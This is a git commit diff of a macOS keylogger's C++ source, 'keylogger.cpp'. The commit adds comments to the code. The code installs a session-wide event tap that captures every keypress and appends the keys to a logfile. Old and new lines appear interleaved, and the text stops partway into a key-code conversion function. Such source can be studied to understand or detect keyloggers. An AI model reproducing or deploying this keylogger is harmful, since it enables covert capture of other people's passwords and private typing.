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Add various comments to improve program understandability.

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Casey Scarborough 2013-09-16 20:57:23 -04:00
parent aa27dabd03
commit 2b436090b6
1 changed files with 21 additions and 5 deletions
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26
keylogger.cpp
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@ -2,38 +2,54 @@
int main(int argc, const char *argv[]) {
CGEventFlags flags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
// Create an event tap to retrieve keypresses.
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
CFMachPortRef eventTap = CGEventTapCreate(
kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, &flags
kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, NULL
);
// Exit the program if unable to create the event tap.
if(!eventTap) {
cout << "Unable to create event tap.\n" << endl;
exit(1);
}
// Create a run loop source and add enable the event tap.
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
// Get the current time and open the logfile.
time_t result = time(NULL);
logfile = fopen(logfileLocation, "a");
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n\n", asctime(localtime(&result)));
// Output to logfile.
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
fflush(logfile);
// Display the location of the logfile and start the loop.
cout << "Logging to: " << logfileLocation << endl;
CFRunLoopRun();
return 0;
}
// The following callback method is invoked on every keypress.
CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) { return event; }
if (type != kCGEventKeyDown && type != kCGEventFlagsChanged && type != kCGEventKeyUp) { return event; }
// Retrieve the incoming keycode.
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
// Print the human readable key to the logfile.
fprintf(logfile, "%s", convertKeyCode(keyCode));
fflush(logfile);
return event;
}
// The following method converts the key code returned by each keypress as
// a human readable key code in const char format.
const char *convertKeyCode(int keyCode) {
switch ((int) keyCode) {
case 0: return "a";